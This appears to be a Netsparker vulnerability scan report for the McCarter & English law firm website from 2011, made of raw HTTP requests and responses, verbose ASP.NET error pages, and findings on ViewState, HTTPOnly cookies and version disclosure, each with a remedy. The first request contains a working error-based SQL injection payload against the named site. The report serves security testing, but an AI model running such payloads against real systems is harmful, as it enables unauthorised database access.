GET /new/biosnew.aspx?ShowLast=True&Initial='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B' HTTP/1.1 Referer: http://www.mccarter.com/new/biosnew.aspx?search=&Location= User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.mccarter.com Cookie: ASP.NET_SessionId=dovbcr45tyczie45c0bmue45 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Date: Thu, 12 May 2011 18:38:12 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 6212
<html> <head> <title>Conversion failed when converting the varchar value '_!@2dilemma' to data type int.</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px} H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red } H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon } pre {font-family:"Lucida Console";font-size: .9em} .marker {font-weight: bold; color: black;text-decoration: none;} .version {color: gray;} .error {margin-bottom: 10px;} .expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; } </style> </head>
<body bgcolor="white">
<span><H1>Server Error in '/new' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Conversion failed when converting the varchar value '_!@2dilemma' to data type int.</i> </h2></span>
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Conversion failed when converting the varchar value '_!@2dilemma' to data type int.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.2407; ASP.NET Version:1.1.4322.2470
</font>
</body> </html> <!-- [SqlException]: Conversion failed when converting the varchar value '_!@2dilemma' to data type int. at System.Data.SqlClient.SqlDataReader.Read() at System.Data.Common.DbDataAdapter.FillLoadDataRow(SchemaMapping mapping) at System.Data.Common.DbDataAdapter.FillFromReader(Object data, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet) at _SaturnoTools.Library.libData.GetDataSet(String strSQL) at Mccarter.Saturno.Web.Biosnew.BuildSearchResults(String searchFilter) at Mccarter.Saturno.Web.Biosnew.ShowBiosByLast(String Initial) at Mccarter.Saturno.Web.Biosnew.Page_Load(Object sender, EventArgs e) at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) --><!-- This error page might contain sensitive information because ASP.NET is configured to show verbose error messages using <customErrors mode="Off"/>. Consider using <customErrors mode="On"/> or <customErrors mode="RemoteOnly"/> in production environments.-->
Netsparker identified that the target web application does not use MAC validation in ViewState data.
Impact
An attacker can tamper with the application's state variables located in the ViewState data structure.
Remedy
ASP.NET uses a hash code based integrity solution called "ViewStateMac" to protect ViewState parameters against tampering attacks. You can implement this solution on a page or application level.
For page based protection, place the following directive at the top of affected page.
<%@Page EnableViewStateMAC=true %>
You can also set this option for the whole application by using web.config files. Apply the following configuration for your application's web.config file.
HTTP/1.1 200 OK Date: Thu, 12 May 2011 17:44:08 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 11162
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <META NAME="ROBOTS" CONTENT="NOYDIR,NOODP"> <META NAME="KEYWORDS" CONTENT="McCarter,McCarter & English,McCarter and English,McCarter English"> <META NAME="DESCRIPTION" CONTENT="McCarter & English, LLP is a firm of over 400 lawyers with offices in Boston, Hartford, Stamford, New York City, Newark, Philadelphia and Wilmington."> <script language="JavaScript" type="text/JavaScript"> <!-- function OpenWindow(url, name,features ) { window.open(url, name,features) }
function MM_preloadImages() { //v3.0 var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array(); var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++) if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}} }
function MM_swapImgRestore() { //v3.0 var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc; }
function MM_findObj(n, d) { //v4.01 var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) { d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);} if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n]; for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); if(!x && d.getElementById) x=d.getElementById(n); return x; }
function MM_swapImage() { //v3.0 var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3) if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];} }
function MM_reloadPage(init) { //reloads the window if Nav4 resized if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) { document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }} else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload(); } MM_reloadPage(true); //--> </script> <script> function MM_jumpMenu(targ,selObj,restore){ //v3.0 eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'"); if (restore) selObj.selectedIndex=0; } </script> <script> function emailWarning(){ //str = 'NOTICE. These materials have been prepared by McCarter & English, LLP for ' + // 'informational purposes only and are not legal advice. This information is not ' + // 'intended to create, and receipt of it does not constitute, a lawyer-client ' + // 'relationship. You should not act upon this information without seeking ' + // 'professional counsel. In addition, we cannot represent you until we know that ' + // 'doing so will not create a conflict of interest. Nor can we treat unsolicited ' + // 'information as confidential. \n\nAccordingly, please do not send us any ' + // 'information about any matter that may involve you until you receive a ' + // 'written statement from us that we represent you (an "engagement letter").\n\nBy ' + // 'clicking "OK" you are confirming that you have read and understand this notice';
str = 'The McCarter & English website is for informational purposes only. We do not provide legal advice on this website. We can provide legal advice only to our clients in specific inquiries that they address to us. If you are interested in becoming a client, please contact us, but do not send us any information about your specific legal question. We cannot serve as your lawyers until we establish an attorney-client relationship, which can occur only after we follow procedures within our firm and after we agree to the terms of representation.'
Netsparker identified a web page that discloses server side source code. An attacker can obtain the source code of the web application, which can contain sensitive data such as "database connection strings", "username" and "password". Operational and technical logic of the application can also be revealed.
Impact
Depending on the nature of the source code disclosed an attacker can mount one or more of the following types of attacks:
Access the database or other data resources. With the privileges of the account obtained attempt to read, update or delete arbitrary data from the database.
Access password protected administrative mechanisms such as "dashboard", "management console" and "admin panel" potentially leading to full control of the application.
Develop further attacks by investigating the source code for input validation errors and logic vulnerabilities.
Actions to Take
Confirm exactly what aspects of the source code is actually disclosed; due limitations of these types of vulnerability it might not be possible to confirm this in all instances. Confirm this is not intended functionality.
If it is a file required by the application, change its permissions to prevent public users from accessing it. If it is not, then remove it from the web server.
Ensure that the server has all the current security patches applied.
Remove all temporary and backup files from the web server.
Required Skills for Successful Exploitation
This is dependent on the information obtained from source code. Uncovering these forms of vulnerabilities does not require high levels of skills. However a highly skilled attacker could leverage this form of vulnerability to obtain account information for databases or administrative panels, ultimately leading to control of the application.
GET /new/contactnew.aspx HTTP/1.1 Referer: http://www.mccarter.com/new/homenew.aspx?searchlink=contactnew User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.mccarter.com Cookie: ASP.NET_SessionId=dovbcr45tyczie45c0bmue45 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Thu, 12 May 2011 16:19:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 14238
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <META NAME="ROBOTS" CONTENT="NOYDIR,NOODP"> <META NAME="KEYWORDS" CONTENT="McCarter,McCarter & English,McCarter and English,McCarter English"> <META NAME="DESCRIPTION" CONTENT="McCarter & English, LLP is a firm of over 400 lawyers with offices in Boston, Hartford, Stamford, New York City, Newark, Philadelphia and Wilmington."> <script language="JavaScript" type="text/JavaScript"> <!-- function OpenWindow(url, name,features ) { window.open(url, name,features) }
function MM_preloadImages() { //v3.0 var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array(); var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++) if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}} }
function MM_swapImgRestore() { //v3.0 var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc; }
function MM_findObj(n, d) { //v4.01 var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) { d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);} if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n]; for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); if(!x && d.getElementById) x=d.getElementById(n); return x; }
function MM_swapImage() { //v3.0 var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3) if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];} }
function MM_reloadPage(init) { //reloads the window if Nav4 resized if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) { document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }} else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload(); } MM_reloadPage(true); //--> </script> <script> function MM_jumpMenu(targ,selObj,restore){ //v3.0 eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'"); if (restore) selObj.selectedIndex=0; } </script> <script> function emailWarning(){ //str = 'NOTICE. These materials have been prepared by McCarter & English, LLP for ' + // 'informational purposes only and are not legal advice. This information is not ' + // 'intended to create, and receipt of it does not constitute, a lawyer-client ' + // 'relationship. You should not act upon this information without seeking ' + // 'professional counsel. In addition, we cannot represent you until we know that ' + // 'doing so will not create a conflict of interest. Nor can we treat unsolicited ' + // 'information as confidential. \n\nAccordingly, please do not send us any ' + // 'information about any matter that may involve you until you receive a ' + // 'written statement from us that we represent you (an "engagement letter").\n\nBy ' + // 'clicking "OK" you are confirming that you have read and understand this notice';
str = 'The McCarter & English website is for informational purposes only. We do not provide legal advice on this website. We can provide legal advice only to our clients in specific inquiries that they address to us. If you are interested in becoming a client, please contact us, but do not send us any information about your specific legal question. We cannot serve as your lawyers until we establish an attorney-client relationship, which can occur only after we follow procedures within our firm and after we agree to the terms of representation.'
We encourage you to explore our site to learn more about who we are and how we can advance your business goals. For additional information, please contact us at <a href="mailto:info@mccarter.com"> <span font-color="#000000">info@mccarter.com</span></a>. <br> <br> </tr> <tr> <td width="15"> </td> <td align="left" valign="top"> <span id="Location"><table align=left cellpadding=1 cellspacing=0><tr><td valign=top>BOSTON<BR>265 Franklin Street<BR>Boston, MA 02110<br>T 617.449.6500<br>F 617.607.9200<br><BR></td><td width='25'></td><td valign=top>HARTFORD<BR>CityPlace I<BR>185 Asylum Street<br>Hartford, CT 06103<br>T 860.275.6700<br>F 860.724.3397<br><BR></td></tr><tr><td valign=top>NEW YORK<BR>245 Park Avenue<BR>27th Floor<br>New York, NY 10167<br>T 212.609.6800<br>F 212.609.6921<br><BR></td><td width='25'></td><td valign=top>NEWARK<BR>Four Gateway Center<BR>100 Mulberry Street<br>Newark, NJ 07102<br>T 973.622.4444<br>F 973.624.7070<br><BR></td></tr><tr><td valign=top>PHILADELPHIA<BR>BNY Mellon Center<BR>1735 Market Street, Suite 700<br>Philadelphia, PA 19103-7501<br>T 215.979.3800<br>F 215.979.3899<br><BR></td><td width='25'></td><td valign=top>STAMFORD<BR>One Canterbury Green<BR>201 Broad Street<br>Stamford, CT 06901<br>T 203.399.5900<br>F 203.399.5800<br><BR></td></tr><tr><td valign=top>WILMINGTON<BR>Renaissance Centre<BR>405 N. King Street, 8th Floor<br>Wilmington, DE 19801<br>T 302.984.6300<br>F 302.984.6399<br><BR></td><td width='25'></td><td></td><td></td></tr></table></span>
<!--Content Cell--> <!--<table width="100%" border="0" cellspacing="0" cellpadding="0"> <!--<tr> <td valign="top"> <span class="bodycopy">Please chosse the office you would like to contact or enter your message below.<br> </span> <table border="0" cellpadding="0" cellspacing="0"> <tr> <td></td> </tr> </table> </td> </tr>--> <!--<tr> <td width="15"> </td> <td valign="top"> <div id="ContactFormPanel">
The Server responded with an HTTP status 500. This indicates that there is a server-side error. Reasons may vary. The behavior should be analysed carefully. If Netsparker is able to find a security issue in the same resource it will report this as a separate vulnerability.
Impact
The impact may vary depending on the condition. Generally this indicates poor coding practices, not enough error checking, sanitization and whitelisting. However there might be a bigger issue such as SQL Injection. If that's the case Netsparker will check for other possible issues and report them separately.
Remedy
Analyse this issue and review the application code in order to handle unexpected errors, this should be a generic practice which does not disclose further information upon an error. All errors should be handled server side only.
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Incorrect syntax near '='.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.2407; ASP.NET Version:1.1.4322.2470
</font>
</body> </html> <!-- [SqlException]: Incorrect syntax near '='. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at _SaturnoTools.Library.libData.GetReader(String strSQL) at Mccarter.Saturno.Web.showlocationnew.Page_Load(Object sender, EventArgs e) at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) --><!-- This error page might contain sensitive information because ASP.NET is configured to show verbose error messages using <customErrors mode="Off"/>. Consider using <customErrors mode="On"/> or <customErrors mode="RemoteOnly"/> in production environments.-->
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..
Impact
During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.
Actions to Take
See the remedy for solution
Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.
Remedy
Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.
GET /new/ HTTP/1.1 Referer: http://www.mccarter.com/new/homenew.aspx?searchlink=showlocationnew.aspx&show=1433 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.mccarter.com Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.1 200 OK Date: Thu, 12 May 2011 16:18:55 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Pragma: no-cache,no-cache,no-cache,no-cache,no-cache,no-cache Set-Cookie: ASP.NET_SessionId=0propq55ar2buf34xogra355; path=/ Cache-Control: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 47516
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML> <HEAD> <title>Welcome to McCarter</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <META NAME="ROBOTS" CONTENT="NOYDIR,NOODP"> <META NAME="KEYWORDS" CONTENT="McCarter,McCarter & English,McCarter and English,McCarter English"> <META NAME="DESCRIPTION" CONTENT="McCarter & English, LLP is a firm of over 400 lawyers with offices in Boston, Hartford, Stamford, New York City, Newark, Philadelphia and Wilmington."> <script language="JavaScript" type="text/JavaScript"> <!-- function OpenWindow(url, name,features ) { window.open(url, name,features) }
function MM_preloadImages() { //v3.0 var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array(); var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++) if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}} }
function MM_swapImgRestore() { //v3.0 var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc; }
function MM_findObj(n, d) { //v4.01 var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) { d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);} if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n]; for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); if(!x && d.getElementById) x=d.getElementById(n); return x; }
function MM_swapImage() { //v3.0 var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3) if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];} }
function MM_reloadPage(init) { //reloads the window if Nav4 resized if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) { document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }} else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload(); } MM_reloadPage(true); //--> </script> <script> function MM_jumpMenu(targ,selObj,restore){ //v3.0 eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'"); if (restore) selObj.selectedIndex=0; } </script> <script> function emailWarning(){ //str = 'NOTICE. These materials have been prepared by McCarter & English, LLP for ' + // 'informational purposes only and are not legal advice. This information is not ' + // 'intended to create, and receipt of it does not constitute, a lawyer-client ' + // 'relationship. You should not act upon this information without seeking ' + // 'professional counsel. In addition, we cannot represent you until we know that ' + // 'doing so will not create a conflict of interest. Nor can we treat unsolicited ' + // 'information as confidential. \n\nAccordingly, please do not send us any ' + // 'information about any matter that may involve you until you receive a ' + // 'written statement from us that we represent you (an "engagement letter").\n\nBy ' + // 'clicking "OK" you are confirming that you have read and understand this notice';
str = 'The McCarter & English website is for informational purposes only. We do not provide legal advice on this website. We can provide legal advice only to our clients in specific inquiries that they address to us. If you are interested in becoming a client, please contact us, but do not send us any information about your specific legal question. We cannot serve as your lawyers until we establish an attorney-client relationship, which can occur only after we follow procedures within our firm and after we agree to the terms of representation.'
Netsparker identified that the target web server is disclosing ASP.NET version in the HTTP response. This information can help an attacker to develop further attacks and also the system can become an easier target for automated attacks. It was leaked from X-AspNet-Version banner of HTTP response or default ASP.NET error page.
Impact
An attacker can use disclosed information to harvest specific security vulnerabilities for the version identified. The attacker can also use this information in conjunction with the other vulnerabilities in the application or web server.
Remedy
Apply the following changes on your web.config file to prevent information leakage by using custom error pages and removing X-AspNet-Version from HTTP responses.
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Incorrect syntax near '='.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.2407; ASP.NET Version:1.1.4322.2470
</font>
</body> </html> <!-- [SqlException]: Incorrect syntax near '='. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at _SaturnoTools.Library.libData.GetReader(String strSQL) at Mccarter.Saturno.Web.showlocationnew.Page_Load(Object sender, EventArgs e) at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) --><!-- This error page might contain sensitive information because ASP.NET is configured to show verbose error messages using <customErrors mode="Off"/>. Consider using <customErrors mode="On"/> or <customErrors mode="RemoteOnly"/> in production environments.-->
The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.
Remedy
Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Incorrect syntax near '='.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.2407; ASP.NET Version:1.1.4322.2470
</font>
</body> </html> <!-- [SqlException]: Incorrect syntax near '='. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at _SaturnoTools.Library.libData.GetReader(String strSQL) at Mccarter.Saturno.Web.showlocationnew.Page_Load(Object sender, EventArgs e) at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) --><!-- This error page might contain sensitive information because ASP.NET is configured to show verbose error messages using <customErrors mode="Off"/>. Consider using <customErrors mode="On"/> or <customErrors mode="RemoteOnly"/> in production environments.-->
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Incorrect syntax near '='.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.2407; ASP.NET Version:1.1.4322.2470
</font>
</body> </html> <!-- [SqlException]: Incorrect syntax near '='. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at _SaturnoTools.Library.libData.GetReader(String strSQL) at Mccarter.Saturno.Web.showlocationnew.Page_Load(Object sender, EventArgs e) at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) --><!-- This error page might contain sensitive information because ASP.NET is configured to show verbose error messages using <customErrors mode="Off"/>. Consider using <customErrors mode="On"/> or <customErrors mode="RemoteOnly"/> in production environments.-->
Netsparker identified that the target web application doesn't use encryption on ViewState data.
Impact
An attacker can study the application's state management logic for possible vulnerabilities and if your application stores application-critical information in the ViewState; it will also be revealed.
Remedy
ASP.NET provides encryption for ViewState parameters.
For page based protection, place the following directive at the top of affected page.
<%@Page ViewStateEncryptionMode="Always" %>
You can also set this option for the whole application by using web.config files. Apply the following configuration for your application's web.config file.
GET /new/ HTTP/1.1 Referer: http://www.mccarter.com/new/homenew.aspx?searchlink=showlocationnew.aspx&show=1433 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.mccarter.com Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.1 200 OK Date: Thu, 12 May 2011 16:18:55 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Pragma: no-cache,no-cache,no-cache,no-cache,no-cache,no-cache Set-Cookie: ASP.NET_SessionId=0propq55ar2buf34xogra355; path=/ Cache-Control: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 47516
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML> <HEAD> <title>Welcome to McCarter</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <META NAME="ROBOTS" CONTENT="NOYDIR,NOODP"> <META NAME="KEYWORDS" CONTENT="McCarter,McCarter & English,McCarter and English,McCarter English"> <META NAME="DESCRIPTION" CONTENT="McCarter & English, LLP is a firm of over 400 lawyers with offices in Boston, Hartford, Stamford, New York City, Newark, Philadelphia and Wilmington."> <script language="JavaScript" type="text/JavaScript"> <!-- function OpenWindow(url, name,features ) { window.open(url, name,features) }
function MM_preloadImages() { //v3.0 var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array(); var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++) if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}} }
function MM_swapImgRestore() { //v3.0 var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc; }
function MM_findObj(n, d) { //v4.01 var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) { d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);} if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n]; for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); if(!x && d.getElementById) x=d.getElementById(n); return x; }
function MM_swapImage() { //v3.0 var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3) if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];} }
